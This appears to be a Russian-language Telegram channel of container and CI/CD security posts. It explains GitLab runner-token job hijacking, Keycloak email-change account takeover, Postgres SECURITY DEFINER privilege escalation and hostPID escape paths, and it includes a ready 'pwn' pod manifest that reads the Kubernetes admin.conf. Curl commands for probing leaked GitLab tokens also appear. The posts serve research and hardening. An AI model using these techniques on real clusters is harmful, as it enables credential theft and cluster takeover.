Мои коллеги и друзья пилят публичные коллективные собеседования по внутреннему пентесту. Формат очень интересный, залезают в самый глубокие тонкости и самые сложные вопросы Windows сетей и атак на них. Если интересна тема - обязательно залетайте. Если не можете онлайн, рекомендую прослушать записи прошлых собесов, доступных на подкастах Яндекса.
Forwarded from RedTeam brazzers
Продолжаем серию наших ламповых встреч в формате собеседования. На подходе наша четвертая по счету и заключительная встреча в этом формате с подписчиками канала. Как всегда, я и Роман зададим вам несколько вопросов на темы:
- Тировая архитектура;
- Системы, "ломающие" тировую архитектуру;
- Обход защиты конечных точек.
Если вы пропустили предыдущие выпуски, то можете послушать их на яндексе.
До встречи сегодня (8 января) в 18:00 по мск.
- Тировая архитектура;
- Системы, "ломающие" тировую архитектуру;
- Обход защиты конечных точек.
Если вы пропустили предыдущие выпуски, то можете послушать их на яндексе.
До встречи сегодня (8 января) в 18:00 по мск.
🔥6
Вот слайды моего рассказа на конференции БЕКОН.
Рассказывал про проблемы разделяемых docker executor и о том как эти экзекьюторы можно захарденить
Рассказывал про проблемы разделяемых docker executor и о том как эти экзекьюторы можно захарденить
👍5
Forwarded from k8s (in)security (Дмитрий Евдокимов)
06_OPA_с_shared_Docker_executor,_Павел_Сорокин,_OZON.pdf
12.4 MB
"OPA с shared Docker executor", Павел Сорокин, OZON
🔥10
Опубликовано мое выступление с конфы БЕКОН.
Видео других докладов с БЕКОНа можно посмотреть в канале k8s (in)security
Относительно самой конфы могу сказать что она мне понравилась. Были только технические доклады без шелухи типа стендов, конкурсов и т.д. Доклады были на интересные темы, организаторы хорошо подошли к их отбору. Кое-что новое я для себя вынес. В общем спасибо, за организацию, буду ждать БЕКОН-2.
Видео других докладов с БЕКОНа можно посмотреть в канале k8s (in)security
Относительно самой конфы могу сказать что она мне понравилась. Были только технические доклады без шелухи типа стендов, конкурсов и т.д. Доклады были на интересные темы, организаторы хорошо подошли к их отбору. Кое-что новое я для себя вынес. В общем спасибо, за организацию, буду ждать БЕКОН-2.
YouTube
OPA с shared Docker executor - Павел Сорокин | конференция БеКон
🔹“OPA с shared Docker executor” Павел Сорокин, OZON🔹
Харденим разделяемый docker executor в multi-team/multi-tenancy CI/CD.
⚡️7 июня 2023 года в Москве состоялась техническая конференция по БЕзопасности КОНтейнеров и контейнерных сред БеКон. Конференция…
Харденим разделяемый docker executor в multi-team/multi-tenancy CI/CD.
⚡️7 июня 2023 года в Москве состоялась техническая конференция по БЕзопасности КОНтейнеров и контейнерных сред БеКон. Конференция…
🔥10👍3
Буду вести воркшоп на offzone по атакам на CI/CD
Telegram
OFFZONE
🧐 Нам нужно больше воркшопов — «Ломаем CI/CD»
Рассмотрим особенности безопасности компонентов CI/CD и пайплайнов, взлом которых часто остается за рамками классических пентестов.
Для участия потребуются базовые знания GitLab CI, Kubernetes и Docker.
Тренер:…
Рассмотрим особенности безопасности компонентов CI/CD и пайплайнов, взлом которых часто остается за рамками классических пентестов.
Для участия потребуются базовые знания GitLab CI, Kubernetes и Docker.
Тренер:…
🔥22👍3
Gitlab раннеры "аутентифицируются" в gitlab с помощью специальных токенов. Токены хранятся в конфиге раннеров и по ним gitlab понимает какой именно раннер пришел за задачей.
А теперь представим что этот токен каким-то образом утек. Что тогда может сделать атакующий?
Очевидная идея - отправить gitlab токен и сказать что мы - это тот самый раннер. Ну и попытаться получить себе джобы, которые шедулятся gitlab'ом на оригинальный раннер, вместе со всеми переменными среды, артефактами, gitlab variables и т.д.
Я решил это проверить: достал токен с работающего раннера, и чтобы не разбираться в протоколах gitlab установил на другой сервер gitlab-runner и прописал ему этот токен.
Оказалось что в такой конфигурации, когда одновременно два раннера работают с одним токеном, джоба может попасть в любой из них. Из моих экспериментов следует, что джобу получит тот раннер, который первый придет в gitlab за задачей.
За частоту походов раннера за новыми задачами в gitlab отвечает параметр в конфиге раннера check_interval, это целочисленный параметр в секундах, по умолчанию 3. Если атакующий укажет в конфигурации своего раннера check_interval=1, то он будет получать задачи в среднем в 3 раза чаще чем оригинальный раннер.
Чтобы увеличить вероятность получения джобы на свой поддельный раннер атакующий может определить сразу много (допустим N) одинаковых "логических" раннеров в конфигурационном файле gitlab-runner, тогда раннер будет ходить за задачами в gitlab каждые check_interval/N секунд.
Подробнее про то как работает check_interval в доке
А теперь представим что этот токен каким-то образом утек. Что тогда может сделать атакующий?
Очевидная идея - отправить gitlab токен и сказать что мы - это тот самый раннер. Ну и попытаться получить себе джобы, которые шедулятся gitlab'ом на оригинальный раннер, вместе со всеми переменными среды, артефактами, gitlab variables и т.д.
Я решил это проверить: достал токен с работающего раннера, и чтобы не разбираться в протоколах gitlab установил на другой сервер gitlab-runner и прописал ему этот токен.
Оказалось что в такой конфигурации, когда одновременно два раннера работают с одним токеном, джоба может попасть в любой из них. Из моих экспериментов следует, что джобу получит тот раннер, который первый придет в gitlab за задачей.
За частоту походов раннера за новыми задачами в gitlab отвечает параметр в конфиге раннера check_interval, это целочисленный параметр в секундах, по умолчанию 3. Если атакующий укажет в конфигурации своего раннера check_interval=1, то он будет получать задачи в среднем в 3 раза чаще чем оригинальный раннер.
Чтобы увеличить вероятность получения джобы на свой поддельный раннер атакующий может определить сразу много (допустим N) одинаковых "логических" раннеров в конфигурационном файле gitlab-runner, тогда раннер будет ходить за задачами в gitlab каждые check_interval/N секунд.
Подробнее про то как работает check_interval в доке
👍19🔥5
По умолчанию в Keycloak пользователям по адресу
В этом маленьком кабинете можно сменить себе в том числе email.
И это - проблема безопасности! Если клиент OIDC/OAuth, подключенный к Keycloak, завязывает своих пользователей не на поле preferred_username из токена, а на email, то его можно обмануть.
Ставим себе чужой email, перезаходим в клиента и получаем права другого пользователя.
Надо только учитывать что если требуемый email уже активен у одного из пользователей в Keycloak, то установить его себе не получится. Однако можно:
1) Устанавливать себе email недавно уволенных или по другим причинам удаленных из keycloak сотрудников, возможно они будут активны в клиенте.
2) Устанавливать себе email системных учеток, которые есть в клиентах, например, в клиенте может быть встроенная учетка администратора с email вбитом "от балды", вроде
Один из возможных способов защиты при использовании LDAP как User Federation - установить Edit Mode в значение READ_ONLY.
http://keycloak/realms/<realm_name>/account доступен довольно аскетичный интерфейс личного кабинета (на скриншоте). В этом маленьком кабинете можно сменить себе в том числе email.
И это - проблема безопасности! Если клиент OIDC/OAuth, подключенный к Keycloak, завязывает своих пользователей не на поле preferred_username из токена, а на email, то его можно обмануть.
Ставим себе чужой email, перезаходим в клиента и получаем права другого пользователя.
Надо только учитывать что если требуемый email уже активен у одного из пользователей в Keycloak, то установить его себе не получится. Однако можно:
1) Устанавливать себе email недавно уволенных или по другим причинам удаленных из keycloak сотрудников, возможно они будут активны в клиенте.
2) Устанавливать себе email системных учеток, которые есть в клиентах, например, в клиенте может быть встроенная учетка администратора с email вбитом "от балды", вроде
admin@company.com.Один из возможных способов защиты при использовании LDAP как User Federation - установить Edit Mode в значение READ_ONLY.
👍8🔥4😱3
Postgres Privilege Escalation
Тут неожиданно выстрелила старая тема с повышение в Postgres, напомню о ней.
В Postgres функция может быть определена с двумя типами исполнения SECURITY INVOKER (по умолчанию) и SECURITY DEFINER. Функции первого типа выполняются с правами текущего пользователя, вторые же выполняются с правами того, кто создал функцию. По сути аналог SUID бита.
Также в Postgres есть конфигурация search_path, она определяет в каком порядке Postgres обходит имеющиеся схемы в поиске функций и операторов, если схема не указана явна.
И если при определении функции с SECURITY DEFINER не указан также search_path, применяемый внутри этой функции, то атакующий с низкими правами может переопределить функцию или оператор, который применяется в функции с SECURITY DEFINER, что приведет к выполнению его функции или оператора с правами создателя функции. Если это пользователь postgres, то можно получить права SUPERUSER или добавить себе право исполнения команд ОС pg_execute_server_program.
Подробнее с примерами по ссылке
На мой взгляд практически полная аналогия с классическим повышением привилегий в Linux, когда приложение с SUID битом, делает что-то типа
Тут неожиданно выстрелила старая тема с повышение в Postgres, напомню о ней.
В Postgres функция может быть определена с двумя типами исполнения SECURITY INVOKER (по умолчанию) и SECURITY DEFINER. Функции первого типа выполняются с правами текущего пользователя, вторые же выполняются с правами того, кто создал функцию. По сути аналог SUID бита.
Также в Postgres есть конфигурация search_path, она определяет в каком порядке Postgres обходит имеющиеся схемы в поиске функций и операторов, если схема не указана явна.
И если при определении функции с SECURITY DEFINER не указан также search_path, применяемый внутри этой функции, то атакующий с низкими правами может переопределить функцию или оператор, который применяется в функции с SECURITY DEFINER, что приведет к выполнению его функции или оператора с правами создателя функции. Если это пользователь postgres, то можно получить права SUPERUSER или добавить себе право исполнения команд ОС pg_execute_server_program.
Подробнее с примерами по ссылке
На мой взгляд практически полная аналогия с классическим повышением привилегий в Linux, когда приложение с SUID битом, делает что-то типа
system("cat file"), при этом не сбрасывая переменную PATH.CYBERTEC PostgreSQL | Services & Support
Abusing SECURITY DEFINER functions in PostgreSQL
UPDATED Aug. 2023: How SECURITY DEFINER PostgreSQL functions can be abused for privilege escalation attacks and how you can protect yorself.
👍6
hostPID: true и --pid=host
Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.
Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте разбираться.
Во-первых, можно делать ps и посмотреть список процессов с параметрами командных строк.
Во-вторых, можно обращаться к файловой системе /proc/PID/* других процессов. Тут неочевидный момент - при доступе к интересным файлам, например к /proc/PID/environ (содержащим весь environment процесса), ОС проверяет ptrace access mode. Подробно эта проверка описана в конце мана ptrace .
Выпишу основное.
Есть два уровня доступа:
- менее привилегированный PTRACE_MODE_READ
- более привилегированный PTRACE_MODE_ATTACH
Полный список файлов в /proc/PID/ с указанием того какой уровень доступа к ним требуется перечислен в мане proc
Базовая проверка для обоих уровней доступа на уровне ОС делается примерно одинаково, основное:
- наборы UID и GID запрашивающего и целевого процесса должны совпадать
- набор permitted capabilities целевого процесса должен быть подмножеством набора effective capabilities запрашивающего процесса
- наличие у запрашивающего процесса CAP_SYS_PTRACE позволяет обойти указанные выше ограничения
Также в проверке могут участвовать LSM, например apparmor и yama (последний работает только для PTRACE_MODE_ATTACH), но это мы рассмотрим в следующем посте. CAP_SYS_PTRACE тоже рассмотрим отдельно, с ним тоже есть тонкости.
А вот что мы можем делать если у нас нет CAP_SYS_PTRACE? Так вот, немного утрируя мы можем получить доступ уровня PTRACE_MODE_READ во все контейнеры, запущенные с таким же набором capabilities, как и наш, или более узким, а также они должны быть запущены под тем же UID. Но это ведь обычная история в kubernetes/docker, там все контейнеры/поды как правило стартуют с одним и тем же набором capabilities и зачастую от одинакового пользователя (ниже считаем что это root).
Из интересного можно читать /proc/PID/environ, но даже не это самое прикольное. Под PTRACE_MODE_READ также подпадают /proc/PID/root и /proc/PID/cwd. C их помощью мы можем попасть в файловую систему целевого контейнера. И если мы root, то мы в ней можем не только читать но и писать туда! И это без CAP_SYS_PTRACE и с apparmor/yama запущенными по умолчанию!
А значит мы можем:
1) читать SA-токены из других подов/proc/PID/root/var/run/secrets/ kubernetes.io/serviceaccount/token
2) попытаться добиться RCE в другом поде путем записи в /etc/ld.so.preload, /root/.ssh/authorized_keys, /etc/crontab и т.д. и т.п.
Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.
Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте разбираться.
Во-первых, можно делать ps и посмотреть список процессов с параметрами командных строк.
Во-вторых, можно обращаться к файловой системе /proc/PID/* других процессов. Тут неочевидный момент - при доступе к интересным файлам, например к /proc/PID/environ (содержащим весь environment процесса), ОС проверяет ptrace access mode. Подробно эта проверка описана в конце мана ptrace .
Выпишу основное.
Есть два уровня доступа:
- менее привилегированный PTRACE_MODE_READ
- более привилегированный PTRACE_MODE_ATTACH
Полный список файлов в /proc/PID/ с указанием того какой уровень доступа к ним требуется перечислен в мане proc
Базовая проверка для обоих уровней доступа на уровне ОС делается примерно одинаково, основное:
- наборы UID и GID запрашивающего и целевого процесса должны совпадать
- набор permitted capabilities целевого процесса должен быть подмножеством набора effective capabilities запрашивающего процесса
- наличие у запрашивающего процесса CAP_SYS_PTRACE позволяет обойти указанные выше ограничения
Также в проверке могут участвовать LSM, например apparmor и yama (последний работает только для PTRACE_MODE_ATTACH), но это мы рассмотрим в следующем посте. CAP_SYS_PTRACE тоже рассмотрим отдельно, с ним тоже есть тонкости.
А вот что мы можем делать если у нас нет CAP_SYS_PTRACE? Так вот, немного утрируя мы можем получить доступ уровня PTRACE_MODE_READ во все контейнеры, запущенные с таким же набором capabilities, как и наш, или более узким, а также они должны быть запущены под тем же UID. Но это ведь обычная история в kubernetes/docker, там все контейнеры/поды как правило стартуют с одним и тем же набором capabilities и зачастую от одинакового пользователя (ниже считаем что это root).
Из интересного можно читать /proc/PID/environ, но даже не это самое прикольное. Под PTRACE_MODE_READ также подпадают /proc/PID/root и /proc/PID/cwd. C их помощью мы можем попасть в файловую систему целевого контейнера. И если мы root, то мы в ней можем не только читать но и писать туда! И это без CAP_SYS_PTRACE и с apparmor/yama запущенными по умолчанию!
А значит мы можем:
1) читать SA-токены из других подов
2) попытаться добиться RCE в другом поде путем записи в /etc/ld.so.preload, /root/.ssh/authorized_keys, /etc/crontab и т.д. и т.п.
🔥8👍1
hostPID: true и --pid=host. Часть 2
Часть 1
Yama
Давайте теперь обсудим что же еще влияет на возможность доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH.
Первый из списка - это Linux Security Module (LSM) Yama (описание Yama). Yama участвует в проверках только если запрашивается доступ уровня PTRACE_MODE_ATTACH, запросы уровня PTRACE_MODE_READ игнорируются модулем Yama.
По умолчанию значение единственного параметра Yama ptrace_scope (cat /proc/sys/kernel/yama/ptrace_scope ) установлено в значение 1. Это значит что получить доступ уровня PTRACE_MODE_ATTACH может только процесс, являющийся родителем целевого. В ситуации атакующего, запустившего под с hostPID:true, это разумеется не возможно и Yama эффективно блокирует отладку других процессов хоста или соседних подов.
При наличии capability CAP_SYS_PTRACE проверки модуля Yama игнорируются. Впрочем как и прочие проверки, указанные в первой части.
Таким образом Yama:
- влияет только на PTRACE_MODE_ATTACH (отладку) и не влияет на PTRACE_MODE_READ (чтение /proc/PID/environ, /proc/PID/root и т.д.)
- по умолчанию позволяет получать PTRACE_MODE_ATTACH только к дочерним процессам
- с позиции атакующего для выполнения отладки необходимо либо чтобы ptrace_scope был установлен в 0, либо чтобы была возможность добавить в свой под CAP_SYS_PTRACE
Часть 1
Yama
Давайте теперь обсудим что же еще влияет на возможность доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH.
Первый из списка - это Linux Security Module (LSM) Yama (описание Yama). Yama участвует в проверках только если запрашивается доступ уровня PTRACE_MODE_ATTACH, запросы уровня PTRACE_MODE_READ игнорируются модулем Yama.
По умолчанию значение единственного параметра Yama ptrace_scope (
При наличии capability CAP_SYS_PTRACE проверки модуля Yama игнорируются. Впрочем как и прочие проверки, указанные в первой части.
Таким образом Yama:
- влияет только на PTRACE_MODE_ATTACH (отладку) и не влияет на PTRACE_MODE_READ (чтение /proc/PID/environ, /proc/PID/root и т.д.)
- по умолчанию позволяет получать PTRACE_MODE_ATTACH только к дочерним процессам
- с позиции атакующего для выполнения отладки необходимо либо чтобы ptrace_scope был установлен в 0, либо чтобы была возможность добавить в свой под CAP_SYS_PTRACE
Telegram
Нарыл
hostPID: true и --pid=host
Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.
Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте…
Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.
Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте…
🔥6👍1
hostPID: true и --pid=host. Часть 3
Часть 1
Часть 2
AppArmor
Еще один LSM, участвующий в защите от доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH - AppArmor.
В конфигурации по умолчанию в containerd/docker применяется профиль AppArmor, полученный на основе шаблона. Профиль по умолчанию в containerd называется cri-containerd.apparmor.d, а в docker - docker-default.
Посмотреть имя текущего профиля AppArmor изнутри контейнера можно в файле /proc/self/attr/current
Разрешение для ptrace в шаблоне указано в последней строке:
Данная строка означает что можно получать доступ trace (PTRACE_MODE_ATTACH) и read (PTRACE_MODE_READ) только в процессы, запущенные под одноименным профилем AppArmor. Аналогично с входящими запросами в наш процесс на отладку. В комментарии сказано зачем это послабление добавлено - чтобы можно было работать с процессами в рамках одного контейнера. Понятно, что внутри контейнера все процессы под одним профилем.
Но, очевидно, это послабление открывает доступ не только ко всем процессам в контейнере, но и ко всем процессам во всех контейнерах, крутящихся на той же ноде, они все по умолчанию запущены под одним и тем же профилем AppArmor.
Для того чтобы запустить контейнер с отключенным AppArmor нужно в docker добавить к команде run флаг
AppArmor'у плевать на CAP_SYS_PTRACE, поэтому если атакующий может запустить под с hostPID: true и CAP_SYS_PTRACE, но неможет отключить AppArmor - его область атаки - только процессы других контейнеров. Хостовые процессы, запущенные без AppArmor будут ему не доступны.
Часть 1
Часть 2
AppArmor
Еще один LSM, участвующий в защите от доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH - AppArmor.
В конфигурации по умолчанию в containerd/docker применяется профиль AppArmor, полученный на основе шаблона. Профиль по умолчанию в containerd называется cri-containerd.apparmor.d, а в docker - docker-default.
Посмотреть имя текущего профиля AppArmor изнутри контейнера можно в файле /proc/self/attr/current
Разрешение для ptrace в шаблоне указано в последней строке:
# suppress ptrace denials when using 'docker ps' or using 'ps' inside a container
ptrace (trace,read,tracedby,readby) peer={{.Name}},
Данная строка означает что можно получать доступ trace (PTRACE_MODE_ATTACH) и read (PTRACE_MODE_READ) только в процессы, запущенные под одноименным профилем AppArmor. Аналогично с входящими запросами в наш процесс на отладку. В комментарии сказано зачем это послабление добавлено - чтобы можно было работать с процессами в рамках одного контейнера. Понятно, что внутри контейнера все процессы под одним профилем.
Но, очевидно, это послабление открывает доступ не только ко всем процессам в контейнере, но и ко всем процессам во всех контейнерах, крутящихся на той же ноде, они все по умолчанию запущены под одним и тем же профилем AppArmor.
Для того чтобы запустить контейнер с отключенным AppArmor нужно в docker добавить к команде run флаг
--security-opt=apparmor:unconfined. В kubernetes нужно добавить аннотацию к поду container.apparmor.security.beta.kubernetes.io/<container_name>: unconfined AppArmor'у плевать на CAP_SYS_PTRACE, поэтому если атакующий может запустить под с hostPID: true и CAP_SYS_PTRACE, но неможет отключить AppArmor - его область атаки - только процессы других контейнеров. Хостовые процессы, запущенные без AppArmor будут ему не доступны.
🔥5👍3
hostPID: true и --pid=host. Часть 4
Часть 1
Часть 2
Часть 3
Ну и наглядный пример по итогам всего вышесказанного.
Если мы можем создавать поды с:
1) hostPID: true
2) SYS_PTRACE capability
3) отключенным AppArmor
То мы можемзапупывнить кластер кубера одним маленьким подом, спецификация которого ниже. Этого достаточно, т.к.:
- Доступ к процессу с PID 1 у нас есть благодаря hostPID:true;
- наличие SYS_PTRACE позволяет обойти обычные проверки ptrace access mode;
- Yama не работает, так как мы запрашиваем всего лишь PTRACE_MODE_READ;
- AppArmor необходимо отключать, так как он не дает доступа в процессы, запущенные под другим профилем.
- nodeSelector и tolerations позволяют выполниться на master-ноде кубера.
Часть 1
Часть 2
Часть 3
Ну и наглядный пример по итогам всего вышесказанного.
Если мы можем создавать поды с:
1) hostPID: true
2) SYS_PTRACE capability
3) отключенным AppArmor
То мы можем
- Доступ к процессу с PID 1 у нас есть благодаря hostPID:true;
- наличие SYS_PTRACE позволяет обойти обычные проверки ptrace access mode;
- Yama не работает, так как мы запрашиваем всего лишь PTRACE_MODE_READ;
- AppArmor необходимо отключать, так как он не дает доступа в процессы, запущенные под другим профилем.
- nodeSelector и tolerations позволяют выполниться на master-ноде кубера.
👍2
apiVersion: v1
kind: Pod
metadata:
name: pwn
annotations:
container.apparmor.security.beta.kubernetes.io/pwned: unconfined #disable apparmor
spec:
hostPID: true #root PID namespace
containers:
- name: pwn
image: ubuntu
command: [ "cat", "/proc/1/root/etc/kubernetes/admin.conf" ]
securityContext:
capabilities:
add:
- SYS_PTRACE # SYS_PTRACE to bypass ptrace access mode checks
nodeSelector: # land on master node
node-role.kubernetes.io/control-plane: ''
tolerations: # tolerate control-plane node tains
- key: ""
operator: "Exists"
effect: ""
🔥5👍4
Gitlab Access Tokens
Gitlab позволяет создавать токены доступа для групп, проектов или персональные для пользователей.
Если нам достался такой токен (например, нашли в репозитории), то встает вопрос - а что же именно с этим токеном можно делать?
Для этого можно использовать запрос:
В ответе будет имя токена, идентификатор пользователя, для которого этот токен выписан, а также scopes - права. В примере на картинке токен имеет полный доступ в API, а также может пушить в репозиторий и Gitlab Image Registry. Доступ в API - это довольно высокие права, с таким доступом можно читать доступные Gitlab Variables, запускать пайплайны от имени пользователя и многое другое.
Посмотреть пользователя, для которого выдан токен можно здесь:
Если токен выдан для проекта или группы, имя пользователя будет иметь формат
В зависимости от проекта/группы/пользователя нам могут быть доступны разные возможности. Вплоть до полноценного административного доступа в Gitlab.
Также при создании токена указывается роль (Developer/Maintainer/Guest/etc), но как узнать роль имея на руках только токен, я не нашел.
P.S. В Gitlab есть префикс для персональных токенов `glpat-`(дока). Можно добавлять в инструменты поиска секретов.
Gitlab позволяет создавать токены доступа для групп, проектов или персональные для пользователей.
Если нам достался такой токен (например, нашли в репозитории), то встает вопрос - а что же именно с этим токеном можно делать?
Для этого можно использовать запрос:
curl --header "PRIVATE-TOKEN: token_here" https://gitlab.example.com/api/v4/personal_access_tokens/self
В ответе будет имя токена, идентификатор пользователя, для которого этот токен выписан, а также scopes - права. В примере на картинке токен имеет полный доступ в API, а также может пушить в репозиторий и Gitlab Image Registry. Доступ в API - это довольно высокие права, с таким доступом можно читать доступные Gitlab Variables, запускать пайплайны от имени пользователя и многое другое.
Посмотреть пользователя, для которого выдан токен можно здесь:
curl https://gitlab.example.com/api/v4/users/<user_id>
Если токен выдан для проекта или группы, имя пользователя будет иметь формат
(project|group)_<(project|group)_id>_bot_<random_bytes>В зависимости от проекта/группы/пользователя нам могут быть доступны разные возможности. Вплоть до полноценного административного доступа в Gitlab.
Также при создании токена указывается роль (Developer/Maintainer/Guest/etc), но как узнать роль имея на руках только токен, я не нашел.
P.S. В Gitlab есть префикс для персональных токенов `glpat-`(дока). Можно добавлять в инструменты поиска секретов.
Gitlab
Account and limit settings | GitLab Docs
Configure the maximum number of projects users can create on GitLab Self-Managed. Configure size limits for attachments, pushes, and repository size.
🔥9❤1👍1
Kyverno resourseFilters
Если разворачивать kyverno с помощью values.yaml по умолчанию, то в них окажется интересный параметр resourceFilters
Этот параметр добавляет в исключения Enforce политик kyverno некоторую часть ресурсов, среди которых хочется отметить почти первые три строчки. Они говорят о том что все yaml в неймспейсах:
- kube-system
- kube-public
- kube-node-lease
НЕ будут валидироваться.
Также в исключения попадает очень многое в неймспейсе, где развренута kyverno.
То есть, если атакующий смог получить доступ к кредам, которые позволяют создавать ворклоады в любых неймспейсах, то он сможет сделать BadPod, даже если baseline kyverno-политики раскатаны на кластере. Ну и многое другое, ради чего заводится policy engine может быть байпаснуто.
При этом Background-режим kyverno работает вне зависимости от resourceFilters, никакие ресурсы не пропускаются, что может сбивать с толку.
Об этом и о причинах таких параметров по умолчанию (надежное восстановление кластера/kyverno) прямо сказано в самом конце раздела документации Installation->Security vs Operability, надеюсь, что все до туда дочитывают...
Если разворачивать kyverno с помощью values.yaml по умолчанию, то в них окажется интересный параметр resourceFilters
Этот параметр добавляет в исключения Enforce политик kyverno некоторую часть ресурсов, среди которых хочется отметить почти первые три строчки. Они говорят о том что все yaml в неймспейсах:
- kube-system
- kube-public
- kube-node-lease
НЕ будут валидироваться.
Также в исключения попадает очень многое в неймспейсе, где развренута kyverno.
То есть, если атакующий смог получить доступ к кредам, которые позволяют создавать ворклоады в любых неймспейсах, то он сможет сделать BadPod, даже если baseline kyverno-политики раскатаны на кластере. Ну и многое другое, ради чего заводится policy engine может быть байпаснуто.
При этом Background-режим kyverno работает вне зависимости от resourceFilters, никакие ресурсы не пропускаются, что может сбивать с толку.
Об этом и о причинах таких параметров по умолчанию (надежное восстановление кластера/kyverno) прямо сказано в самом конце раздела документации Installation->Security vs Operability, надеюсь, что все до туда дочитывают...
🔥11👍1
Мой бывший коллега классно развил тему о которой я рассказывал в прошлом году на БЕКОН. Там шла речь о том чтобы при наличии доступа к docker API socket нельзя было поднять привилегии и залезать в чужие контейнеры. Но было ограничение - доступ к собственным контейнерам также сильно ограничивался.
Улучшенный подход он описал в статье на хабре. Теперь с помощью плагина https://github.com/I-am-Roman/docker-auth-plugin можно реализовать уже почти полноценную авторизацию - доступ к своим контейнерам остается, а вот к тем, которые запущены другими пользователями уже не добраться.
Ссылки на старые посты в канале по теме на БЕКОН: раз и два.
Улучшенный подход он описал в статье на хабре. Теперь с помощью плагина https://github.com/I-am-Roman/docker-auth-plugin можно реализовать уже почти полноценную авторизацию - доступ к своим контейнерам остается, а вот к тем, которые запущены другими пользователями уже не добраться.
Ссылки на старые посты в канале по теме на БЕКОН: раз и два.
Хабр
Евгений DockerAuthPlugin’ович Онегин
Интересное начало, не так ли? Меня зовут Роман, и я младший инженер информационной безопасности Ozon. В этой статье я расскажу о проблеме отсутствия авторизации доступа к Docker daemon...
👏7❤3🤔1
Есть такая общеизвестная проблема когда делаешь non-root в k8s: контейнерам нужно биндить порты до 1024, что по умолчанию в Linux запрещено.
Лично по-моему само по себе такое ограничение - архитектурная ошибка в Linux, которая привела к куче проблем и сложностей: сервису, например nginx, нужно стартовать от рута, забиндить порт, а потом дропнуть лишние привилегии. Что уже само по себе звучит не безопасно и разумеется приводило к множеству LPE. А профит с точки зрения ИБ крайне сомнительный. Может быть он был когда на одном сервере одновременно крутился важный сайт на 80 порту и еще сидели руками какие-то непривилегированные пользователи, но сейчас это кажется бесполезным чуть более чем полностью (попробуйте меня переубедить :D)
Параметр ядра net.ipv4.ip_unprivileged_port_start позволяет управлять этим поведением в Linux. Если его установить в значение 0, то любому пользователю будет доступен биндинг любых портов. Параметр net.ipv4.ip_unprivileged_port_start относится к сетевому неймспейсу и у каждого контейнера свой.
При внедрении non-root можно добавлять securityContext.sysctls (net.ipv4.ip_unprivileged_port_start=0) в манифесты, но это требует модификации всех манифестов.
И вот я тут обнаружил что есть другой путь - в конфиге containerd есть опция enable_unprivileged_ports, которая устанавливает net.ipv4.ip_unprivileged_port_start в 0 для всех создаваемых контейнеров.
Другими словами можно поменять один параметр на всех нодах и не возиться с манифестами.
Лично по-моему само по себе такое ограничение - архитектурная ошибка в Linux, которая привела к куче проблем и сложностей: сервису, например nginx, нужно стартовать от рута, забиндить порт, а потом дропнуть лишние привилегии. Что уже само по себе звучит не безопасно и разумеется приводило к множеству LPE. А профит с точки зрения ИБ крайне сомнительный. Может быть он был когда на одном сервере одновременно крутился важный сайт на 80 порту и еще сидели руками какие-то непривилегированные пользователи, но сейчас это кажется бесполезным чуть более чем полностью (попробуйте меня переубедить :D)
Параметр ядра net.ipv4.ip_unprivileged_port_start позволяет управлять этим поведением в Linux. Если его установить в значение 0, то любому пользователю будет доступен биндинг любых портов. Параметр net.ipv4.ip_unprivileged_port_start относится к сетевому неймспейсу и у каждого контейнера свой.
При внедрении non-root можно добавлять securityContext.sysctls (net.ipv4.ip_unprivileged_port_start=0) в манифесты, но это требует модификации всех манифестов.
И вот я тут обнаружил что есть другой путь - в конфиге containerd есть опция enable_unprivileged_ports, которая устанавливает net.ipv4.ip_unprivileged_port_start в 0 для всех создаваемых контейнеров.
Другими словами можно поменять один параметр на всех нодах и не возиться с манифестами.
🔥27👍6👎3❤2🤯2
PHD-SOROKIN финал.pdf
3.7 MB
Запись моего выступления на PHDays: https://phdays.com/forum/broadcast/?talk=645&tag=offense
Слайды прикладываю
UPD: youtube - https://www.youtube.com/watch?v=YAV9mbnlUho
Слайды прикладываю
UPD: youtube - https://www.youtube.com/watch?v=YAV9mbnlUho
🔥27👍4🤬1